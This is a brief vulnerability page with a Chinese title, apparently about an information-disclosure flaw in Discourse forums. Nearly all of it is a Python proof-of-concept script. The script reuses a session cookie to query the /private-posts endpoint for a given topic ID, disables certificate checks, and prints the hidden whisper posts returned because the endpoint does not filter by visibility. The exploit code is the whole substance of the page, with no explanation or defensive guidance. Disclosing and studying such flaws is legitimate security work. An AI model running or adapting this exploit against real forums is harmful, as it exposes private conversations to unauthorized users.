CVE-2026-33355 Discourse信息泄露漏洞

import requests # Proof of Concept for CVE-2026-33355 # This script demonstrates how a low-privileged user can access hidden whisper posts # via the /private-posts endpoint due to missing visibility filtering. target_url = "https://target-discourse-instance.com/private-posts" # Assume the attacker has a valid session cookie for a user with access to the PM session_cookie = "_forum_session=valid_session_cookie_here" # Example topic ID known to the user topic_id = "12345" headers = { "Cookie": session_cookie, "User-Agent": "CVE-2026-33355-POC/1.0" } params = { "topic_id": topic_id } try: response = requests.get(target_url, headers=headers, params=params, verify=False) if response.status_code == 200: data = response.json() # Check if whisper posts are present in the response print("Successfully retrieved private posts data.") print("Response snippet:", data) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")